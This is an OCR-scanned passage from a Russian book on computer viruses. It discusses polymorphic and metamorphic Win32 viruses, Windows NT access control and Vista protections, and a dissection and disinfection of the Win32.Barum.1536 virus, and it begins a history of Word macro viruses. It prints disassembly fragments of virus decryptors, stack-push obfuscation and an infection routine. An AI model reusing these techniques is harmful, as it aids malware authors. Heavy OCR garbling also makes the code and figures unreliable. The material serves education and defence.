нии тела вируса в стек, ведь для этого региона программной памяти в 
операционнмх системах \У1п<:]о\у5 9Х и \У1пс1о\у8 КТ (кроме вроде бн 
\Ушс1о\У5 У15Ьа и 7) разрешенм как чтение, так и запись. а еше испол- 
нение находявдегося там кода.

Ну и на закуску -  открмтие собственного процесса средствами 
«ОрепРгосе55» (с параметром РКОСЕ55_АЬЬ_АССЕ55) и запись 
в него при помоши «\Уг1 Г:еРгосе55М етогу».

Таким образом, запись в кодовне секции программ все-таки воз- 
можна. И, значит, самомодифицируювдиеся программн (читай -  «по- 
лиморфнне» и «зашифрованнне» вирусн) в \У1пс1о\У5 9Х/НТ сушест- 
вовать могут. Действительно, они есть, и их много -  по крайней мере, 
несколько сотен. И все они очень разнне.

Например, вирус \¥ш32.Коги демонстрирует довольно примитив- 
ную технику полиморфизма, используюшую разбавление собствен- 
ннх команд «мусором».

Вирус ИШ32.КОГ
Е8СООСОООО са11 *+5
ЗЗҒ9 хог ей1 ,еох
33 Ғ9 хог есИ.есх
Ғ5 сшо
33 Ғ9 хог е(Л,есх
5Ғ рор ес!1
Ғ5 сшс
Ғ8 с1с
47 ш с
47 1ПС ей1
06 зе1:а1с
06 зетахс
Ғ9 ЗТС
4Ғ сес есИ
4Ғ бес ей1
81С7С3000000 ас1(1 е<И,0000
Ғ9 зЮ
Ғ9 з!с

Значимзя коканда

Знвчиизя команда

Зкамимая команда
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В904030000 ■ОУ еох,Сгур^ей ; Значиная команда
Ғ9 зтс

1оорС:
06 зеТа1с
81748ҒҒС1Ғ740300 хог [ес11+еох], 0000374 ; Знзчимая команда
06 зета1с
06 зета1с
49 йес есх ; Значямая команда
06 з е Ш с
90 пор
90 ПОр
0ВС9 ог есх .есх , Знэчимая команда
0Ғ8503ҒҒҒҒҒҒ ]пе 1оорС ; Значимая командэ

А вирус \¥т32.0геаш .4916 -  пример так назмваемой полиморф- 
ной «ризЬ»-технологии. Все тело вируса, размевденное в зараженном 
файле, представляет собой несколько тнсяч команд «РЬТЗН», поме- 
вдаювдих в стек «настояидий» исполняемьп! код вируса. Чтобм соз- 
дать эффект полиморфности, заполнение стека осушествляется как 
16-битовьши, так и 32-битовнми командами «РЬТ5Н», и, кроме того, 
в случайнне места вируса вставляются парн команд «Р115Н/РОР», 
не изменяюшие состояния стека. В конце вирусного тела размешает- 
ся команда <^МР ЕЗР», передаклцая управление на вирусньга код, -  
именно поэтому в листинге приводится конец вируса, а не его начало.
; Вируо Шп32. Огеаи. 4916

66682Е03 ризП 0032Е
666880В0 ризП 0В080
68АЕ010000 ризН
666800Е8 ризП ОЕ8ОО
68Е8870100 ризИ
686ЕС23С4Ғ риз.ь
5Е рор
66680000 риэп
6810Е81С01 риЕП
68000000ЕВ ризП
6668Е833 ризп
6810000050 ризп
68000005СС ризп
6889856В05 ризп
6800Е00000 ризп
6813000020 ризП
688В842454 ризИ
685083Е006 риз^
6800000000 ризй
666802С7 ризп
665А рор
666860Е8 ризЯ
ҒҒЕ4 ](г,р

0000001АЕ

0000187Е8 
04ҒЗСС26Е 
ез1 
00000 
0011СЕ810 
0ЕВ000000 
033Е8 
050000010 
0СС050000 
0056В8589 
00000Е000 
020000013 
05424848В 
006Е08350 
000000000 
0С702 
йх
0Е860
езр

Этот мусор...
. . . в стек не попадет

Этот мусор...
. . .  в стек не попадет



Вируш для 32-разрялнь1Х версий \Л/1пс1о\л/5 ❖ 299

Другим примером применения «ризЬ»-технологии может служить 
вирус \Ут32.Аг15, только в нем константн, помешаемме в стек, ге- 
нерируются несколькими случайннми регистровмми командами 
(«АОО»/«51) В»/«ХОК» и т. п.):
; Вирус 'л'!гЗ:'.Л- ;«

ВА78778А01 ШОУ ейх,0018А7778
81С2Э341798Е аос ебх,08Е794ЮЗ
52 ризН еСх
В81С-Ғ9805В ГПОУ еах,05В80Ғ91С
20ЕЗҒС08АЗ зиЬ еах,0А308ҒСЕЗ
50 руз(1 еах

Теперь о «классическом» полиморфизме -  на примере вируса 
\У|п32.РагУО. Основная часть тела вируса зашифрована, а расшиф- 
роввдик состоит из нескольких десятков фрагментов, содержаших как 
«содержательнне» действия, так и «мусор». Примечательно, что «со- 
держательнме» действия «размазанн» по разньш командам и по раз- 
ннм фрагментам, сами фрагментм перемешанн в случайном порядке, 
а переход от одного из них к другому внполняется не только коман- 
дами ^ М Р »  и «САЬЬ», но и «скрнтно» -  при помоши комбинаций 
типа «САЬЬ/РОР/КЕТ». Применение идеи «пермутации» налицо. 
Вот маленький «кусочек» одного из вариантов этого расшифровшика 
(привести его полностью не представляется возможннм -  он в дан- 
ном случае состоит из 22 фрагментов). Сумеете ли вн проследить за 
передачей управления от фрагмента к фрагменту и добраться до «вн-
хода»?
; Фрагмент 1 - здесь вход
00401354: 1пс сЗп
00401356: ]шр 000413790

; Фрагмен т 3
00413690; хсНд ес11,еар
0041369Ғ: ШОУ ей!,046В21
004136А4: саП 0004136С6

; Фрагмент 4
004136С6: иоу (Ц.009В0
004136СА: хог Й1.0Ю0С
004136СҒ: хсПд сИ.рр
00413602: рор ей1
00413603: са11 0004136ЕЕ

Фрагмент 5
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004136ЁЕ: 1тр 000413700

; Фрагмент 6
00413700: рор ейх
0041370Е: хсПд еЬх,еЬр
00413710: айй ейх,ООООЕ89ВО
00413716: гпс̂ еЬр,С424АВ707
0041371В: геТп

; Фрэгмент 2
00413790: « V 31,07838
00413794: Оес ор
00413796: са11 000413690
; А злесь -  вахо Д

Нечто подобное делает и вирус \Ут32.2регш.а, только на отдель- 
нне, переставленнне местами фрагментм разбит не расшифровшик, 
а весь вирус! Впервме подобная идея бьхла использована в 0 0 5 -  
вирусе Р1у. Фактически в случае \Ут32.2репп.а речь идет не совсем 
о «полиморфизме», но о <метаморфизме>> вируса.

Однако сложнейшим из метаморфннх вирусов, заражаюших 
РЕ-файлм, вот уже много лет считается \У т 3 2 .2 т 1 $ ( ;  (он же \ ¥ т 3 2 .  
2отЬ1е.М к;1;£а11). Автор «вбухал» в него сразу несколько сложней- 
ших технологий «зап}тгнвания» вирусологов и антивирусов, среди 
которнх:

О КРМЕ (Кеа1 Регти1а11оп Еп§1пе) -  технология случайной пе- 
рестановки местами фрагментов вируса;

О ЪТЕР (Ипкпо\га Еп1гу Ро1п1, она же ЕРО) -  технология внедре- 
ния первой вирусной командн в середину программного кода; 

О ЕТС (ЕхесиСаЬ1е ТгазЬ СепегаГог) -  технология генерации слу- 
чайньгх регистровнх команд;

О МгзСҒаП -  технология «перемешивания» вирусного кода с ко- 
дом программн;

О дизассемблер длин команд.
Вот краткое и довольно поверхностное, но даже в таком виде весь- 

ма впечатляюшее описание вируса \Ут32.2гт81, вьтолненное со- 
трудниками «Лаборатории Касперского»:

... Очень сложнь/й полиморфнь/й компьютернь/й вирус. Использу- 
етуникальную технологию встраивания в файль/: вирус «разбира- 
ет» (дизассемблирует) РЕ ЕХЕ-файл на составнь/е части, встраи- 
вает свой код и собираетзаново, перемешивая при этом свой код 
и код заражаемого файла. Использует уникальную технологию
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декриптования своего тела для обхода эвристических анализато- 
ров. Точка входа зараженного файла не изменяется. Зараженнне 
файль! практически всегда работоспособнь/. После заражения 
размер файлов увеличивается примерно на 35 Кб. Поиск файлов 
для заражения производит рекурсивно: сначала в директории 
ИЯлс/ои/в, далее в путях переменной %РАТН% и на дисках отА: до 
2:. Заражает только те файль!, структуру которих знает: в основ- 
ном это файль/, скомпилированнь/е компиляторами вь/сокоуров- 
невь/х язь/ков (95% исполняемь/х файлов). При заражении файла 
виделяет себе блок памяти в 32 Мб...
В некотором смнсле \Ут32.2т151;, появившийся в начале XXI ве- 

ка, -  это финальньш «салют» всей эпохе \¥1п32-вирусов. После его 
появления писать вирусм для заражения РЕ-файлов стало бессммс- 
ленно -  никто не оценит, никто не поймет. Можно, конечно, упомя- 
нуть «монстра» \¥т32.МеСаРН(Ж, написанного пару лет спустя. 
И все.

Нет, \Ут32-вирусн, конечно, пишут. Ежегодно появляются не- 
сколько новнхразновидностей «заразн» для \Утс1о\УЗ. Но, во-первнх, 
«несколько» -  это не те «десятки>> и «сотни», которнми бнл отмечен 
рубеж тьюячелетий. Во-втормх, не то что «переплюнуть», а хотя бн 
встать вровень с \¥т32.2т18<; и \Ут32.Ме1аРНОК современньш 
вирусам не под сил}'. Да и изменились побудительнме мотивн виру- 
сописателей. Почти никто уже не стремится «сказать новое слово>> и 
«оставить след». Современнне \У1п32-вирусн тоже очень сложнн, но 
они представляют собой наборн давно известннх технологий, меха- 
нически объединенннх в единое целое. Назначение подобннх виру- 
сов (например, \Уш32.У1ш1 и \Ут32.5аН<;у) -  заразить на компьюте- 
ре все, что возможно, а затем постоянно висеть в памяти, -  расснлая 
«спам» и зарабатнвая деньги своим авторам.

4.3.11. Вируси и подсистема безопасности МЛпйотз
Обсуждая вирусн для 32-разрядннх версий \¥тс 1о\У5 , нельзя не 
упомянуть взаимоотношения их с так назнваемой «подсистемой 
безопасности», присутствуюшей в \Утс1о1У8 КТ. Это часть операци- 
онной системн, реализованная в Каглуе АР1 и позволяювдая разгра- 
ничить доступ к объектам операционной системн путем реализации 
некоторой политики безопасности (речь о политиках безопасности 
пойдет ниже, в главе, посвяшенной философским и математическим 
аспектам компьютерной вирусологии).
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К пассивнмм обьектам информационного доступа разработчики 
\У1пс]о\ \ -5 отнесли файлм, каталоги, логические устройства, ключи и 
ветви Реестра, вьгшслительнме процессм, средства синхронизации 
(семаформ, критические секции, мьютексм и т. п.), средства межза- 
дачного обмена (почтовме явдики, каналм и т. п.), средства управ- 
ления окнами (рабочие столм и поля) -  список достаточно велик. 
Активньши агентами (субъектами) информационного доступа яв- 
ляются прежде всего пользователи и группм пользователей, а точнее 
программм, вмполняюшиеся от их имени. Политика безопасности, 
реализованная в АУшйолуз МТ, позволяет разграничить доступ субъ- 
ектов к объектам.

Например, можно установить для программ (в том числе и виру- 
сов), запухценнмх от имени пользователя «Вася Пупкин», запрет на 
запись в каталог «С:\\¥1пК'Т». И это действительно будет очень серь- 
езньш и действеннмй запрет, не проходимьш ни для каких вирусов, 
если, конечно, они не являются драйверами.

т
Обш.ие| Достутчерезвеб| Досту! Беэооасмость*[

Имя ж [ До&вигь... 1
®  Все |  
ф  Опь1гнь|е польэовагели (КК^Огътие...
в б В Я Я Н Я П Н ^ 1 Н

Удалигь |

вСОЗДАТЕЛЬ-еЛАДЕЛЕЦ
Е

Т1 |»Г
Радрешения Разревить Залретить

Погкмй досгуп □ □
Иэменигь □ □
Чтение и еьполнение в □
Список соаержимого папки в □
Чтенме в □
Запись □ &

Дооолнигельиа..}

|-| Пджносигь наследуемь» ог роаигельского обьекта 
1 разрешенияиаэтотобьект

Огмена | Применить

Свойства; У Л ^ Т

Рис. 4.15 ❖ Настройка доступа 
к файлам в \Л/|пйо«5 N1



Вируш для 32-разряйньрс версий У\Лпс1оуу5 ❖ ЗСВ

Конечно, имеются впо лне легал ьнне способн запуска программн от 
имени пользователя с иннм уровнем привилегий -  утилита «К11КАЗ» 
и АР1-функции •« СгеаСеРгосеззАз I'зег» и «С геаГ еР госеззЬ о§оп», 
но и они не избавляют от необходимости знать логин и пароль.

Итак, подход к завдите своих компьютеров, основанньш на раз- 
граничении доступа, -  разве он не является радикальньш методом 
решения проблемн компьютерннх вирусов, заражаюших РЕ-файлн?

Пожалуй, да. Но не для всех и не всегда.
Во-первнх, данньш механизм доступен в операционннх системах 

семейства \Утс1о\У8 КТ только в том случае, если все диски компью- 
тера отформатированн по правилам файловой системн КТТҒ5. Да, это 
очень мошная и гибкая файловая система, способная сжимать и шиф- 
ровать содержимое каталогов, позволяюшая производить «откатн» 
файловнх операций, поддерживаюшая самовосстановление повреж- 
денннх (например, во время сброса питания) записей в служебннх 
таблицах и т. п. Но в то же время это достаточно объемная, медленная 
и «ремонтонепригодная» махина. Например, если во время какого- 
либо «катаклизма» операционная система, установленная на НТҒ5- 
диске, отказнвается загружаться, то «спасение» оставшихся на диске 
пользовательских данньк может оказаться трудновьшолнимой зада- 
чей не только для рядового пользователя, но и для квалифицирован- 
ного специалиста. Поэтому, взвесив все «рго» и «сопгга», очень многие 
пользователи форматируют диски для \¥т<1о\У5 КТ по правилам ҒАТ, 
теряя при этом возможность организовать разграничение доступа.

Во-вторьгх, работа пользователя в системе с включенннм разгра- 
ничением доступа чем-то напоминает жизнь в противогазе и резино- 
внх перчатках. Стерильно, но очень неудобно. Да и чешется иногда. 
Поэтому режим разграничения доступа приемлем только для поль- 
зователей с «ограниченньши компьютерннми интересами». Напри- 
мер, офисная секретарша Маша Веснушкина, которая знает всего 
две программн -  «МкгозоЙ; \ \7огс1» и «Пасьянс», ничего против та- 
кого режима иметь не будет. Более же активннй и любознательньш 
пользователь Вася Пупкин, испьггав все «прелести» установленннх 
ограничений, скорее всего, будет входить в систему как всесильньга 
(и в то же время крайне уязвимьш!) «Администратор».

В-третьих, системнне компонентн Ш тсЬ^з различннх версий 
иногда содержат ошибки (так назнваемне «з^язвимости» или «дн- 
рн»), позволяюшие вредоносному коду внедряться в их адресное про- 
странство и фактически внполнять операции от имени пользователя 
«5У5ТЕМ». Подсистема зашитн бессильна против такого рода атак.
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Наконед, удобная система разграничения доступа сама на компью- 
тере не появляется. 'Гот «план зашитм», котормй по умолчанию пред- 
лагается в современннх операционннх системах семейства Ш тйоте 
МТ, не позволяет использовать многие программн, разработаннне 
ранее для М 5-Б 05 или \¥1пс1о\у8 9Х. Таким образом, пользователь 
(или администратор, настраиваюгций системное программное обес- 
печение) должен самостоятельно продумать, кому и что запревдено, 
а потом аюсуратненько установить или сбросить нужнне галочки для 
тех или иннх дисков и каталогов. Для \Утс1о\\'5 ХР первоначально 
придется отключить «Простой совместннй доступ к диску», которьхй 
включен по умолчанию и не позволяет индивидуально настраивать 
разрешения и запрешения. Скорее всего, «домашний» пользователь 
просто не будет всем этим заниматься, а возьмет да отключит зашиту.

Вот вам четнре очень субъективннх фактора, обусловливаюших 
вполне объективнмй факт, -  на очень многих компьютерах с опера- 
ционньши системами семейства \\лпс1о\У5 КТ подсистема заадитм ни- 
кого ни от чего не зашишает.

В \Утс1о\У5 9Х подсистема безопасности отсутствует, вернее на- 
ходится в зачаточном состоянии. Например, можно отметить, что 
в операционннх еистемах этого семейства запрешена любая моди- 
фикация файла запувденной программн (в М 5-005  такого ограни- 
чения не бнло). Забавно, что в более «продвинутнх», с точки зрения 
зашишенности, операционннх системах семейства \¥1пс1о\У5 МТ раз- 
решено переименование файла запувденной программн, а в \\71пс1о\У8 
9Х -  таки нет.

Отдельннх слов заслуживает \\7тс1о\У5 У15Са -  на момент написа- 
ния этих строк самая новая, самая красивая, самая ресурсоемкая и 
самая недружелюбная по отношению к ранее созданннм программам 
и ранее купленньш компьютерам операционная система1. Ее разра- 
ботчики, не надеясь более на подсистему разграничения доступа, по- 
пнтались грубо и незатейливо заблокировать ряд излюбленннх ви- 
русами приемов, задействовав ряд технологий:

О А5ЬК (Ас1(1ге55 5расе ЬауоиС Капйот^гаИоп) -  все системнне 
библиотеки не имеют больше постоянного адреса в памяти, а за 
включение-внключение этого режима отвечает специальньш 
бит в заголовке исполняемнх файлов;

О 5а£е5ЕН -  цепочка структурннх обработчиков исключений, 
назначаемая приложению по умолчанию, теперь располагается

1 \У1П(1о\уз 7 появилась в тот момент, когда работа над книгой подходила 
к концу.
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не в стеке, а в отдельной секции «.рс1а1а», для которой сброшен 
бит разрешения записи;

О КХ запрешает вьшоднение кода, содержашегося в стеке. 
Пожалуй, значительную часть «старнх» вирусов эти нововведения 

урезонят, но каких-то принципиальннх барьеров для сушествования 
и размножения их более современннх модификаций, снабженннх 
чуть-чуть более сложннми алгоритмами, так и не бнло воздвигнуто. 
Впрочем, может бьггь, они больше и не нужнн?

4.4. Пример анализа и нейтрализаиии 
конкретного вируса

...Он вил, ругаяся на нескольких мертвъас 
язиках, скакал, отригивал язики огня, в за- 
пальчивости начинап строить и тут жераз- 
рушал дворци, потом наконец сдажя...

А. и Б. Стругацкие. 
«Понедельник начинается в субботу*

На этот раз показательной «аутопсии» подвергнется несложннй ви- 
рус \Уш 32.Вагш п.1536 (он же \\732.Ьагте88.1536 и \Ут32.С1п§а(:. 
1536), несколько раз упомянутнй в каталоге ^УПсШзГ от^ое \Уе11з за 
2001 год.

4.4.1. Первичньж анализ зараженнмх программ
После «случайного» запуска вируса зараженнне им программн обна- 
руживаются в том же каталоге, откуда вирус стартовал, и более нигде. 
Все они «поправляются» на 1536 байтов, а «на просвет» в них замет- 
ни строки: «[ Ва^ап К ит ] Теккеп’ й т е  еп1 по 1а?лпе8з».

Типичная таблица секций зараженной программн внглядит сле- 
дуюшим образом (см. табл. 4.12).

Таблица 4.12. Таблица секций после заражения вирусом  
В аги т

Н а т е У*к1 8 '1ге НУА РЬу531ге СЖзе1 Ғ1ад$
1 СХЮЕ 1000 1000 200 600 Е0000020 пл/ес.....
2ЭАТА 1000 2000 200 800 С0000040 п»...с)...
3 ,1с1а1а 1000 3000 200 А00 С0000040
4  ,ге1ос 0А00 4000 800 СОО Ғ0000060 г»ес.с1...
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При первом же взгляде на эту таблицу сразу настораживают бито- 
вне флаги записи и внполнения, установленнме для секции «.ге1ос». 
А не в ней ли располагается точка входа в зараженную программу? 
В РЕ-заголовке программм поле «А(1(1ге5зО£Еп1г>'Ро1п1» имеет значе- 
ние 4200, и это означает, что инородньш код действительно «сидит» 
в секции перемешаемнх ссьшок. Забегая вперед, отметим, что вирусу 
«по барабану» назначение и содержимое секции, в которую он запи- 
снвается, -  главное, чтобн она бьша в файле последней.

Алгоритм расчета местоположения точки входа в вирус будет сле-
Д\ТО!ЦИМ.

1. В М 2-заголовке по смешению ЗСЬ находим адрес РЕ-заголовка 
(в нашем случае это ЮОЬ).

2. В РЕ-заголовке по смешению 28Ь (относительно начала фай- 
ла это составит ЮОЬ + 28Ь = 128Ь) обнаруживаем и запоми- 
наем КУА (то есть адрес в памяти) для точки входа. Он равен 
4200Ь.

3. Сканируем таблицу сегментов, расположенн}то сразу после РЕ- 
заголовка (длина заголовка Ғ8Ь, значит, в файле таблицу следу- 
ет искать по смевдению 1Ғ8Ь). В таблице сегментов нас в первую 
очередь интересуют К\А и виртуальнне длини секций. Точка 
входа (4200Ь) размешена между 4000 (начало секции ,ге1ос) и

Рис. 4.16 ❖ Схема поиска вируса Вагит в файле
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4А00 (конец секции .ге1ос) и смевдена относительно ее начала 
на 4200Ь -  4000Ь = 200 байтов.

4. Та же секция на диске размевдена по абсолютному смевдению 
СООЬ, значит, вирус надо искать в позиции СООЬ + 200Ь = ЕООЬ. 

Кстати, для вирусов типа \¥т9Х.С1Н, «живуших» вне секций, рас- 
чет бнл бь1 ете  проше. Действительно, КУА -  это смевдение относи- 
тельно начала расположения программм в памяти, то есть от «М2*>. 
Значит, для «Ас1с!ге55О{Еп1;гуРо1п1;»=300Ь такова бьша бн и файловая 
позиция вируса.

Вот и все, арифметика очень простая.

4.4.2. Анализ кода
Дизассемблируем зараженную программу и изучим ее листинг (см. 
приложение).

Фрагмент 1. Собственно говоря, для того чтобн научиться искать 
\У1п32.Вагшп.1536 внутри файлов и «виковнривать» его отт}гда, до- 
статочно проанализировать всего 12 первнх вирусннх команд. Вот 
они:
4 0 4 2 0 0 с з  11 $*5 ; К л а с с и ч е с к о е .  . .

4 0 4 2 0 5 рор е&р ; . .  . в и ч и с л е н и е  " д е л ь т а - с м е ц е н и я '1

4 0 4 2 0 6 ГСОУ е о х , еЬ р

4 0 4 2 0 8 зиЬ еор , (о Т Г з е *  оГГ__401003+ 2) ; В м д ел ен и е  р а б о ч е й  о б л а с т и

; К о д  к эд ан д м  зи Ь е Ь х , Х Х Х Х Х Х Х Х
4 0 4 2 0 Е <3* ЕВ81
а а ХХХ Х Х Х Х Х ; С тар м й  Ғ Ш  т о ч к и  е х о д а

; К од  ком ан д н  п о у е а х , у у у у у у у у

4 0 4 2 1 4 ЙЬ В8
бб у у у у у у у у ; С т а р и й  В\/А к о д о е о й  с е к ц и и

4 0 4 2 1 9 80Й е а х , е Ь х ; ВУА  в с е к ц и и  СООЕ
4 0 4 2 1 В р и зп е а х ; Д ц р ес  в с т е к

4 0 4 2 1 С с а !  I 0 и 1 1 а А Р 1 Т аЬ 1 е , П о и ск  в КЕҒШ Е132 О И  а д р е с о в  А Р 1 -Ф у н к ц и й
4 0 4 2 1 С ; и п о с т р о е н и е  т аб л и ц м  а д р е с о в  по а д р е с у

[Е01]
4 04 22 1 с а П Р а у1 о а й ; 6 м ар та  у д а л и т ь  фай.пи в С :\М 1 п й о « з

4 0 4 2 2 6 с а П 1п ГесС ; И с к а т ь  и и н ф и ц и р о в а т ь  н о в и е  ж е р тв ь

4 0 4 2 2 Б Гб^П , Б с т е к е  бмл а д р е с  с т а р о й  т о ч к и  в х о д а

4.4.3. Алгоритм поиска и лечения
Сигнатуру для поиска вполне могут составитъ 10 байтов вируса, рас- 
положенннх недалеко от точки входа, например «8В БО 81 ЕБ 05 10 
40 00 81 ЕВ». Полное «исцеление» (то есть восстановление первона- 
чального вида) программн невозможно, поскольку вирус необрати- 
мо уничтожает содержимое секции перемешаемнх сснлок. Поэтому
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вполне приемлемо, например, заполнить кодами командм «МОР» 
вредоноснне байтм, начиная с адреса 40421СЬ, -  вирус перестанет 
размножаться, но по-прежнему будет возврашать управление в про- 
грамму-носитель. Другой способ: извлечь старьш КУА точки входа 
и вернуть его на законное место в РЕ-заголовке (смеадение +28Ь). 
После того как вирус будет обезврежен, его тело можно просто «за- 
чистить» нулями -  чтобн не «вздрагавали» антивирусн.

4.4.4. Дополнительние замечания
В результате более подробного анализа вирусного кода можно сде- 
лать следуюшие интереснне внводн.

Признак зараженности вирусом ^УшЗ^.ВагитЛбЗб -  байтн 42Ь и 
52Ь (сочетание ‘ВК’) в поле контрольной суммн М2-заголовка. На- 
пишите простенькую программу-вакцинатор, которая обходит все 
ЕХЕ-файлн диска и устанавливает для них признак зараженности. 
Вирус не тронет их.

Интересен способ обрашения вируса к системньш сервисам. Вирус 
заражает все ЕХЕ-файлн подряд, но, стартовав из зараженной про- 
граммм, первнм делом ишет в собственной (точнее, в позаимствован- 
ной у зараженной программн) таблице импорта адрес АР1-функции 
«Сет;Мос1и1еНапс11еА». Он делает это, чтобн получить адрес библио- 
теки «КЕККЕЕ32.ВИ.» и прямнм сканированием таблицн экспор- 
та найти в ней адреса нужнмх ему АРЬфункций («Ғ1пс1 Ғ1г8(.Ғ11еА», 
«СгеаСеҒИеА» и т. п.). Обратите внимание: сей замечательньш при- 
ем будет работать в любой версии \¥шс1о\У5 -  от 95 до «Вистн»! Но 
далеко не все программн по умолчанию содержат в своей таблице 
импорта сснлку на «СеШос1и1еНапсЛеА». Таким образом, значитель- 
ная часть программ, будучи зараженной вирусом \Ут32.Вагиш.1536, 
переносчиком инфекции так и не станет. Вирус будет вечно сидеть 
внутри таких программ и грустно «курить бамбук».

Ну и, наконец, следует отметить, что вирус только внглядит «кро- 
вожаднмм», но на самом деле невинен, как овечка. Будучи запушен 
6  марта в 1 2  часов ночи, вирус пнтается внполнить следуюший 
странньш код:
ри8(1 104П
рив11 еах
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риз^  е а х  ; Имя файяа

с а П  5 5 :о 'А 'о г с1 _4 01 60 С [е Ь р ] ; О е1е1:еҒ11еА

Не нужно бьггь великим знатоком \¥1п32 АР1, чтобн понять аб- 
сурдность и неработоспособность приведенного фрагмента. Тем не 
менее остальная часть вируса написана достаточно грамотно и акку- 
ратно. Чего же хотел автор вируса?

Увн, как говаривали мудрме агностики, «1£погаггшз еС 1§погаЬ1ши5».



ГЛАВА

Макровирусь!
До сего момента нами рассматривались вирусм, которьге представля- 
ли собой наборм машинннх команд, внполняемнх непосредственно 
процессором. Однако сушеств^тот представители компьютерной за- 
разн, которне «живут» в спепиализированннх виртуальньк маши- 
нах и состоят из инструкций, написанннх на так мазмваемих скрип- 
товърс язиках (или язиках сцетриев). Как правило, виртуальнне 
машинн являются частью какой-нибудь прикладной программн и 
работают в режиме интерпретации сценария. Это означает, что они 
последовательно считнвают, транслируют и самостоятельно внпол- 
няют его (сценария) инструкции. Например, «просмотршики» типа 
1п1егпе(; ЕхрЬгег и Ме1зсаре КаУ1§а(;ог способнн вьшолнять сценарии 
(последовательности инструкций), написаннне на язнке ̂ ауаБспр!..

Некоторне виртуальньк машинн и соответствуюшие им язнки 
сценариев поддерживают возможность написания саморазмножаю- 
шихся программ, то есть вирусов. Наиболее широкую известность 
получили макровируш, «живушие» в документах, электронннх таб- 
лицах и презентациях М1сгозоЙ; ОШсе.

Та или иная версия этого пакета установлена в настояхцее время 
практически на каждом компьютере.

5.1. Вирусь! в М Б УУогд
Немсчислимие полчигца ворон спустились на 
город, как на чиспюе поле.

А. и Б. Стругацкие. «Трудно бнть богом»

История текстового процессора М5 \¥огс1 уходит своими корнями 
в середину 80-х годов, в эпоху М 8-005, когда фирма МкхозоСт ничем 
не напоминала еше нннешнего гигантского кракена, опутавшего шу- 
пальцами своих операционннх систем и прикладннх программ весь 
мир. В Америке весьма успешннм конкурентом для М5 \¥огс! являл-
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ся текстовьш процессор \Уогс1 Рег£ес1 , а отечественнме пользователи 
предпочитали Лексикон Е. Веселова. Тем не менее спрос на М5 \Уогс1 
сушествовал, и до 1991 года бьшо вьшушено по крайней мере пять 
версий М5 \¥огс1 для М5-ВОЗ и четаре -  для МАС 05.

Версия М5 \Уогс1 1.0 1ог \У т(1о\У5, внп\т:ценная в 1989 г. для \У1п- 
с1о\\'5 З.Х, осталась практически не замеченной. Лишь версия 2.0, 
вншедшая в 1991 г., нашла своего покупателя. По возможностям ре- 
дактирования текста \¥огс1 2 .0  примерно соответствовал редактору 
\¥огс!Рас1, включенному по умолчанию во все современнме версии 
\\71пс1о\¥5. Текстовмй процессор \¥огс1 2.0 уже мог внполнять сцена- 
рии (они получили жаргонное наименование -  <макроси»), пред- 
ставлявшие собой сохраненную последовательность нажатий клавиш 
и команд редактирования текста. Это позволяло озорникам создавать 
примитивньге троянские программн для М5 \Уогс1, но пока не виру- 
сн. Формат файла, содержавшего текст и разметку документа, тоже 
бнл довольно простмм.

Настоягцая популярность пришла к М5 \Уогс1 в 1993 году вместе 
с версией 6.0. Этот текстовнй процессор уже содержал большинство 
тех возможностей редактирования текста, которне известнн пользо- 
вателям по современнь1М версиям М5 \Уогс1. Положа руку на сердце 
следует признать, что \¥огс1 6.0 и сейчас удовлетворил бн 90% поль- 
зователей. В контексте данной книги нас должнм заинтересовать 
два обстоятельства, касаюшиеся Шогс1 6.0. Первое: в качестве язнка 
сценариев в нем бмл использован полноценньш язнк программи- 
рования, получивший название ^УогсШазк. Второе: файл документа 
бмл организован в формате так назьшаемого «структурированного 
хранилшца» (зйпсШгес! зюга^е), способного содержать в себе разно- 
роднне объектм -  текстм, изображения, двоичнне даннне и т. п. Пер- 
вме макровирусн (\Уо«1.М асго .О М У  и \Уогс1 .М асго.Сопсер1) бнли 
написанн именно на язнке \¥огс!Ва51с и именно для документов М5 
\¥ог(1 версии 6 .0 .

Следуюшая версия М5 \Уогс1, получившая номер 7.0, не привнесла 
никаких революционньхх изменений. Фактически она представляла 
собой М5 \¥огс1 6.0, перетранслированньш 32-битовмм компилято- 
ром для внполнения в среде \¥ тс 1о\У5 9Х/НТ и «упакованньш» вмес- 
те с М5 Ехсе17.0 в обхций пакет М1сго5оЛ ОШсе 95. Все вирусн, напи- 
саннне для версии 6.0, оказались актуальнн и для 7.0. А уж сколько 
их бьшо написано! Ведь век этой версии М5 \Уогс1 оказался долгим -  
практически до начала нового тнсячелетия. Да что там, даже и сей- 
час многие пользователи «со стажем» предпочитают этот бнстрмй,
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компактннй и мохцнмй текстовьш процессор, прекрасно работаюший 
во всех разновидностях ^Утскг^з, современнмм монстровидннм вер- 
сиям.

Но история не стояла на месте. Очередную «революцию» МкгояоЙ 
устроила в 1997 году, когда в составе МхсгозоЙ ОШсе 97 бьша внпугце- 
на в свет версия \¥огс197 (получившая внутрифирменное наименова- 
ние \Уогс18). Во-первнх, претерпел сушественнне изменения формат 
файлов, содержаших документа. Он остался структурированннм 
хранилишем, но его внутренняя организация сильно усложнилась. 
Во-вторнх, место \Уогс1Ваз1с занял объектно-ориентированннй язнк 
УВА -  У1зиа1 Ваз1с Гог АррПсасюп, обший для всех основннх компо- 
нентов М1СГ030Й: ОСйсе (МЗ \Уогс1, М5 Ехсе1, М5 Ро\уег Р о т 1  и М5 
Ассезз). Программистн МкгозоЛ обеспечили некоторую переноси- 
мость программ, написанннх на язнке \¥ог(1Ва51с, в среду УВА, но 
вирусописателям все равно пришлось начинать все заново, изучать 
новьш язнк и писать новне вирусн. И написано их бнло несколько 
десятков тнсяч!

Собственно говоря, эпоха \¥огс! 97 продолжается до сего дня. Все 
последуюшие версии -  \¥огс! 2000 (он же \¥огс1 9), \¥огс1 ХР от 2002 
года (он же \Уогс1 10), \Уогс1 2003 (он же \Уогс1 11) -  поддерживают 
язнк УВА и формат файлов, разработанннй для \¥огс! 971. А это озна- 
чает, что все макровирусьт, написаннне после 1997 г., вполне работо- 
способнм и поннне.

Впрочем, следует упомянуть, что М5 \Уогс1 под держивает не един- 
ственньш формат документов. Например, все версии этого текстового 
процессора способнн считнвать и сохранять даннне в простом и хоро- 
шо документированном формате КТҒ (К1сЬ ТехС ҒогтаС), которьш не 
может содержать макросн и, следовательно, не способен служить раз- 
носчиком «заразн». Кроме того, с версии 2007 г. начинает потихоньку 
внедряться еше более новнй формат хранения документов -  БОСХ, 
которий представляет собой упакованньш методом 21Р набор ХМЬ- 
страниц, и потому «вирусобезопасен». Впрочем, и у него есть разно- 
видность «ВОСМ», поддерживаюшая включение макросов.

Кстати, версия М5 \Уогс1, использованная для создания конкрет- 
